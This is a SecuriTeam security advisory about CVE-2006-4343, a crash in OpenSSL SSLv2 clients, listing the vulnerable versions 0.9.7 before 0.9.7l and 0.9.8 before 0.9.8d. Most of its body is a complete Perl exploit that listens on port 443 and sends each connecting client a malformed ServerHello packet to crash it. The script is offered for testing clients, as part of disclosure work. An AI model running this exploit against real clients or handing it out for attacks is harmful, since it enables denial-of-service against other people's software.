The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com

• • promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html

---

OpenSSL SSLv2 Client Crash (NULL Reference)

SUMMARY

A vulnerability in the way OpenSSL handles ServerHello packets allows
remote attackers to cause the client connecting to it to crash, the
following exploit code can be used to test your client for the
vulnerability.

DETAILS

Vulnerable Systems:

• OpenSSL version 0.9.7 before 0.9.7l
• OpenSSL version 0.9.8 before 0.9.8d

Immune Systems:

• OpenSSL version 0.9.7l
• OpenSSL version 0.9.8d

Exploit:
#!/usr/bin/perl

Copyright(c) Beyond Security

Written by Noam Rathaus - based on beSTORM's SSL Server module

Exploits vulnerability CVE-2006-4343 - where the SSL client can be

crashed by special SSL serverhello response

use strict;
use IO::Socket;
my $sock = new IO::Socket::INET ( LocalPort => '443', Proto => 'tcp',
Listen => 1, Reuse => 1, );
die "Could not create socket: $!\n" unless $sock;

my $TIMEOUT = 0.5;
my $line;
my $new_sock;
srand(time());

while ( $new_sock = $sock->accept() )
{
printf ("new connection\n");
my $rin;
my $line;
my ($nfound, $timeleft) = select($rin, undef, undef, $TIMEOUT) &&
recv($new_sock, $line, 1024, undef);

my $ciphers = "";
my $ciphers_length = pack('n', length($ciphers));

my $certificate = "";
my $certificate_length = pack('n', length($certificate));

my $packet_sslv2 =
"\x04".
"\x01". # Hit (default 0x01)

"\x00". # No certificate

"\x00\x02".
$certificate_length.
$ciphers_length.
"\x00\x10".

Certificate

$certificate.

Done

Ciphers

$ciphers.

Done

"\xf5\x61\x1b\xc4\x0b\x34\x1b\x11\x3c\x52\xe9\x93\xd1\xfa\x29\xe9";

my $ssl_length = pack('n', length($packet_sslv2) + 0x8000);
$packet_sslv2 = $ssl_length . $packet_sslv2;

print $new_sock $packet_sslv2;

close($new_sock);
}

ADDITIONAL INFORMATION

The information has been provided by <mailto:[email protected]>
Noam Rathaus.
The original article can be found at:
<http://www.beyondsecurity.com/bestorm_overview.html&gt;
http://www.beyondsecurity.com/bestorm_overview.html

========================================

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: [email protected]
In order to subscribe to the mailing list, simply forward this email to: [email protected]

====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.